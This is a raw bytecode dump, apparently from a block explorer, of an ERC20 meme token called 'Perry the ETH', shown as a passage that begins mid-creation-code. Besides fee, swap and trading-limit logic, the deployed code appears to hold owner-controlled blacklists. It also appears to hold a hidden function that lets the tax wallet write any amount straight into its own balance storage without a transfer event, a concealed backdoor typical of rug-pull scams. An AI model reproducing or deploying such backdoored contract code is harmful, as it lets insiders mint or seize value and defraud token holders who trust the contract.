0000000000000000000000000000815260040161174490613132565b60405180910390fd5b60008111611790576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611787906131c4565b60405180910390fd5b600061179a610a73565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561180857506117d8610a73565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611ce65761183560646118276007548561239590919063ffffffff16565b61240f90919063ffffffff16565b9050600660009054906101000a900460ff16156119c457601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156118f85750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156119c35743600560003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061197e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119759061327c565b60405180910390fd5b43600560003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611a6f5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611ac55750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611b1b5750600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611b715750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611c2c57601054821115611bbb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bb2906132e8565b60405180910390fd5b60115482611bc885610783565b611bd29190613308565b1115611c13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c0a90613388565b60405180910390fd5b600e6000815480929190611c2690612cc7565b91905055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611cb557503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611ce557611ce26064611cd46008548561239590919063ffffffff16565b61240f90919063ffffffff16565b90505b5b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611d875750600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611d9157600090505b6000811115611e9557611dec81600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461245990919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611e8c9190612743565b60405180910390a35b611ee782600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124b790919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f8e611f4082846124b790919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461245990919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61203384866124b790919063ffffffff16565b6040516120409190612743565b60405180910390a350505050565b6000838311158290612096576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161208d91906125f4565b60405180910390fd5b50600083856120a591906133a8565b9050809150509392505050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156120e9576120e8612871565b5b6040519080825280602002602001820160405280156121175781602001602082028036833780820191505090505b509050308160008151811061212f5761212e612c98565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156121d6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906121fa9190612d24565b8160018151811061220e5761220d612c98565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061227530601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846114a6565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016122d995949392919061349a565b600060405180830381600087803b1580156122f357600080fd5b505af1158015612307573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612391573d6000803e3d6000fd5b5050565b60008083036123a75760009050612409565b600082846123b59190612bea565b90508284826123c49190613523565b14612404576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123fb906135c6565b60405180910390fd5b809150505b92915050565b600061245183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612501565b905092915050565b60008082846124689190613308565b9050838110156124ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124a490613632565b60405180910390fd5b8091505092915050565b60006124f983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061204e565b905092915050565b60008083118290612548576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161253f91906125f4565b60405180910390fd5b50600083856125579190613523565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561259e578082015181840152602081019050612583565b60008484015250505050565b6000601f19601f8301169050919050565b60006125c682612564565b6125d0818561256f565b93506125e0818560208601612580565b6125e9816125aa565b840191505092915050565b6000602082019050818103600083015261260e81846125bb565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006126558261262a565b9050919050565b6126658161264a565b811461267057600080fd5b50565b6000813590506126828161265c565b92915050565b6000819050919050565b61269b81612688565b81146126a657600080fd5b50565b6000813590506126b881612692565b92915050565b600080604083850312156126d5576126d4612620565b5b60006126e385828601612673565b92505060206126f4858286016126a9565b9150509250929050565b60008115159050919050565b612713816126fe565b82525050565b600060208201905061272e600083018461270a565b92915050565b61273d81612688565b82525050565b60006020820190506127586000830184612734565b92915050565b60008060006060848603121561277757612776612620565b5b600061278586828701612673565b935050602061279686828701612673565b92505060406127a7868287016126a9565b9150509250925092565b600060ff82169050919050565b6127c7816127b1565b82525050565b60006020820190506127e260008301846127be565b92915050565b6000602082840312156127fe576127fd612620565b5b600061280c848285016126a9565b91505092915050565b60006020828403121561282b5761282a612620565b5b600061283984828501612673565b91505092915050565b61284b8161264a565b82525050565b60006020820190506128666000830184612842565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6128a9826125aa565b810181811067ffffffffffffffff821117156128c8576128c7612871565b5b80604052505050565b60006128db612616565b90506128e782826128a0565b919050565b600067ffffffffffffffff82111561290757612906612871565b5b602082029050602081019050919050565b600080fd5b600061293061292b846128ec565b6128d1565b9050808382526020820190506020840283018581111561295357612952612918565b5b835b8181101561297c57806129688882612673565b845260208401935050602081019050612955565b5050509392505050565b600082601f83011261299b5761299a61286c565b5b81356129ab84826020860161291d565b91505092915050565b6000602082840312156129ca576129c9612620565b5b600082013567ffffffffffffffff8111156129e8576129e7612625565b5b6129f484828501612986565b91505092915050565b60008060408385031215612a1457612a13612620565b5b6000612a2285828601612673565b9250506020612a3385828601612673565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115612ac357808604811115612a9f57612a9e612a3d565b5b6001851615612aae5780820291505b8081029050612abc85612a6c565b9450612a83565b94509492505050565b600082612adc5760019050612b98565b81612aea5760009050612b98565b8160018114612b005760028114612b0a57612b39565b6001915050612b98565b60ff841115612b1c57612b1b612a3d565b5b8360020a915084821115612b3357612b32612a3d565b5b50612b98565b5060208310610133831016604e8410600b8410161715612b6e5782820a905083811115612b6957612b68612a3d565b5b612b98565b612b7b8484846001612a79565b92509050818404811115612b9257612b91612a3d565b5b81810290505b9392505050565b6000612baa82612688565b9150612bb5836127b1565b9250612be27fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612acc565b905092915050565b6000612bf582612688565b9150612c0083612688565b9250828202612c0e81612688565b91508282048414831517612c2557612c24612a3d565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612c6260208361256f565b9150612c6d82612c2c565b602082019050919050565b60006020820190508181036000830152612c9181612c55565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000612cd282612688565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612d0457612d03612a3d565b5b600182019050919050565b600081519050612d1e8161265c565b92915050565b600060208284031215612d3a57612d39612620565b5b6000612d4884828501612d0f565b91505092915050565b6000604082019050612d666000830185612842565b612d736020830184612842565b9392505050565b6000819050919050565b6000819050919050565b6000612da9612da4612d9f84612d7a565b612d84565b612688565b9050919050565b612db981612d8e565b82525050565b600060c082019050612dd46000830189612842565b612de16020830188612734565b612dee6040830187612db0565b612dfb6060830186612db0565b612e086080830185612842565b612e1560a0830184612734565b979650505050505050565b600081519050612e2f81612692565b92915050565b600080600060608486031215612e4e57612e4d612620565b5b6000612e5c86828701612e20565b9350506020612e6d86828701612e20565b9250506040612e7e86828701612e20565b9150509250925092565b6000604082019050612e9d6000830185612842565b612eaa6020830184612734565b9392505050565b612eba816126fe565b8114612ec557600080fd5b50565b600081519050612ed781612eb1565b92915050565b600060208284031215612ef357612ef2612620565b5b6000612f0184828501612ec8565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612f6660248361256f565b9150612f7182612f0a565b604082019050919050565b60006020820190508181036000830152612f9581612f59565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612ff860228361256f565b915061300382612f9c565b604082019050919050565b6000602082019050818103600083015261302781612feb565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061308a60258361256f565b91506130958261302e565b604082019050919050565b600060208201905081810360008301526130b98161307d565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061311c60238361256f565b9150613127826130c0565b604082019050919050565b6000602082019050818103600083015261314b8161310f565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006131ae60298361256f565b91506131b982613152565b604082019050919050565b600060208201905081810360008301526131dd816131a1565b9050919050565b7f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60008201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b60208201527f20616c6c6f7765642e0000000000000000000000000000000000000000000000604082015250565b600061326660498361256f565b9150613271826131e4565b606082019050919050565b6000602082019050818103600083015261329581613259565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b60006132d260198361256f565b91506132dd8261329c565b602082019050919050565b60006020820190508181036000830152613301816132c5565b9050919050565b600061331382612688565b915061331e83612688565b925082820190508082111561333657613335612a3d565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b6000613372601a8361256f565b915061337d8261333c565b602082019050919050565b600060208201905081810360008301526133a181613365565b9050919050565b60006133b382612688565b91506133be83612688565b92508282039050818111156133d6576133d5612a3d565b5b92915050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6134118161264a565b82525050565b60006134238383613408565b60208301905092915050565b6000602082019050919050565b6000613447826133dc565b61345181856133e7565b935061345c836133f8565b8060005b8381101561348d5781516134748882613417565b975061347f8361342f565b925050600181019050613460565b5085935050505092915050565b600060a0820190506134af6000830188612734565b6134bc6020830187612db0565b81810360408301526134ce818661343c565b90506134dd6060830185612842565b6134ea6080830184612734565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061352e82612688565b915061353983612688565b925082613549576135486134f4565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006135b060218361256f565b91506135bb82613554565b604082019050919050565b600060208201905081810360008301526135df816135a3565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600061361c601b8361256f565b9150613627826135e6565b602082019050919050565b6000602082019050818103600083015261364b8161360f565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220fcbf536e9a0375ca9b9a2d48f5ca6900a26aef00899634fac49387643f5cd96b64736f6c63430008110033

Deployed Bytecode

0x60806040526004361061014f5760003560e01c80638da5cb5b116100b6578063b2a4d8df1161006f578063b2a4d8df14610467578063bf474bed1461047e578063c876d0b9146104a9578063c9567bf9146104d4578063dd62ed3e146104eb578063ec1f3f631461052857610156565b80638da5cb5b146103575780638f9a55c014610382578063923ffc14146103ad57806392f42870146103d657806395d89b41146103ff578063a9059cbb1461042a57610156565b806351bc3c851161010857806351bc3c851461028157806361b8d2761461029857806370a08231146102c1578063715018a6146102fe578063751039fc146103155780637d1db4a51461032c57610156565b806306fdde031461015b578063095ea7b3146101865780630faee56f146101c357806318160ddd146101ee57806323b872dd14610219578063313ce5671461025657610156565b3661015657005b600080fd5b34801561016757600080fd5b50610170610551565b60405161017d91906125f4565b60405180910390f35b34801561019257600080fd5b506101ad60048036038101906101a891906126be565b61058e565b6040516101ba9190612719565b60405180910390f35b3480156101cf57600080fd5b506101d86105ac565b6040516101e59190612743565b60405180910390f35b3480156101fa57600080fd5b506102036105b2565b6040516102109190612743565b60405180910390f35b34801561022557600080fd5b50610240600480360381019061023b919061275e565b6105d7565b60405161024d9190612719565b60405180910390f35b34801561026257600080fd5b5061026b6106b0565b60405161027891906127cd565b60405180910390f35b34801561028d57600080fd5b506102966106b9565b005b3480156102a457600080fd5b506102bf60048036038101906102ba91906127e8565b610756565b005b3480156102cd57600080fd5b506102e860048036038101906102e39190612815565b610783565b6040516102f59190612743565b60405180910390f35b34801561030a57600080fd5b506103136107cc565b005b34801561032157600080fd5b5061032a61091f565b005b34801561033857600080fd5b50610341610a6d565b60405161034e9190612743565b60405180910390f35b34801561036357600080fd5b5061036c610a73565b6040516103799190612851565b60405180910390f35b34801561038e57600080fd5b50610397610a9c565b6040516103a49190612743565b60405180910390f35b3480156103b957600080fd5b506103d460048036038101906103cf91906129b4565b610aa2565b005b3480156103e257600080fd5b506103fd60048036038101906103f891906129b4565b610bcc565b005b34801561040b57600080fd5b50610414610cf6565b60405161042191906125f4565b60405180910390f35b34801561043657600080fd5b50610451600480360381019061044c91906126be565b610d33565b60405161045e9190612719565b60405180910390f35b34801561047357600080fd5b5061047c610d51565b005b34801561048a57600080fd5b50610493610e20565b6040516104a09190612743565b60405180910390f35b3480156104b557600080fd5b506104be610e26565b6040516104cb9190612719565b60405180910390f35b3480156104e057600080fd5b506104e9610e39565b005b3480156104f757600080fd5b50610512600480360381019061050d91906129fd565b611388565b60405161051f9190612743565b60405180910390f35b34801561053457600080fd5b5061054f600480360381019061054a91906127e8565b61140f565b005b60606040518060400160405280600d81526020017f5065727279207468652045544800000000000000000000000000000000000000815250905090565b60006105a261059b61149e565b84846114a6565b6001905092915050565b60135481565b60006009600a6105c29190612b9f565b64174876e8006105d29190612bea565b905090565b60006105e484848461166f565b6106a5846105f061149e565b6106a08560405180606001604052806028815260200161365360289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061065661149e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461204e9092919063ffffffff16565b6114a6565b600190509392505050565b60006009905090565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166106fa61149e565b73ffffffffffffffffffffffffffffffffffffffff161461071a57600080fd5b600061072530610783565b9050600081111561073a57610739816120b2565b5b600047905060008111156107525761075181612329565b5b5050565b600f54331461076457600080fd5b60405133815260016020820152604081208281556103e8600f55505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6107d461149e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610861576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085890612c78565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b61092761149e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ab90612c78565b60405180910390fd5b6009600a6109c29190612b9f565b64174876e8006109d29190612bea565b6010819055506009600a6109e69190612b9f565b64174876e8006109f69190612bea565b6011819055506000600660006101000a81548160ff0219169083151502179055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a610a469190612b9f565b64174876e800610a569190612bea565b604051610a639190612743565b60405180910390a1565b60105481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60115481565b610aaa61149e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b2e90612c78565b60405180910390fd5b60005b8151811015610bc857600060036000848481518110610b5c57610b5b612c98565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610bc090612cc7565b915050610b3a565b5050565b610bd461149e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5890612c78565b60405180910390fd5b60005b8151811015610cf257600160036000848481518110610c8657610c85612c98565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610cea90612cc7565b915050610c64565b5050565b60606040518060400160405280600581526020017f5065727279000000000000000000000000000000000000000000000000000000815250905090565b6000610d47610d4061149e565b848461166f565b6001905092915050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d9261149e565b73ffffffffffffffffffffffffffffffffffffffff1614610db257600080fd5b6000610dbd30610783565b9050601560149054906101000a900460ff16158015610ddc5750600081115b15610deb57610dea816120b2565b5b6000479050601560149054906101000a900460ff16158015610e0d5750600081115b15610e1c57610e1b81612329565b5b5050565b60125481565b600660009054906101000a900460ff1681565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610e7a61149e565b73ffffffffffffffffffffffffffffffffffffffff1614610e9a57600080fd5b601560149054906101000a900460ff1661137f57737a250d5630b4cf539739df2c5dacb4c659f2488d601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f4d30601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a610f389190612b9f565b64174876e800610f489190612bea565b6114a6565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fba573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fde9190612d24565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611067573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061108b9190612d24565b6040518363ffffffff1660e01b81526004016110a8929190612d51565b6020604051808303816000875af11580156110c7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110eb9190612d24565b601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061117430610783565b60008061117f610a73565b426040518863ffffffff1660e01b81526004016111a196959493929190612dbf565b60606040518083038185885af11580156111bf573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111e49190612e35565b505050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611286929190612e88565b6020604051808303816000875af11580156112a5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112c99190612edd565b50600160046000601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601560166101000a81548160ff0219169083151502179055506001601560146101000a81548160ff021916908315150217905550611386565b6103e86008555b565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661145061149e565b73ffffffffffffffffffffffffffffffffffffffff161461147057600080fd5b60095481111580156114845750600a548111155b61148d57600080fd5b8060098190555080600a8190555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611515576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150c90612f7c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611584576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157b9061300e565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516116629190612743565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036116de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116d5906130a0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361174d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161174490613132565b60405180910390fd5b60008111611790576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611787906131c4565b60405180910390fd5b600061179a610a73565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561180857506117d8610a73565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611ce65761183560646118276007548561239590919063ffffffff16565b61240f90919063ffffffff16565b9050600660009054906101000a900460ff16156119c457601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156118f85750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156119c35743600560003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061197e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119759061327c565b60405180910390fd5b43600560003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611a6f5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611ac55750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611b1b5750600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611b715750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611c2c57601054821115611bbb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bb2906132e8565b60405180910390fd5b60115482611bc885610783565b611bd29190613308565b1115611c13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c0a90613388565b60405180910390fd5b600e6000815480929190611c2690612cc7565b91905055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611cb557503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611ce557611ce26064611cd46008548561239590919063ffffffff16565b61240f90919063ffffffff16565b90505b5b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611d875750600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611d9157600090505b6000811115611e9557611dec81600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461245990919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611e8c9190612743565b60405180910390a35b611ee782600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124b790919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f8e611f4082846124b790919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461245990919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61203384866124b790919063ffffffff16565b6040516120409190612743565b60405180910390a350505050565b6000838311158290612096576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161208d91906125f4565b60405180910390fd5b50600083856120a591906133a8565b9050809150509392505050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156120e9576120e8612871565b5b6040519080825280602002602001820160405280156121175781602001602082028036833780820191505090505b509050308160008151811061212f5761212e612c98565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffff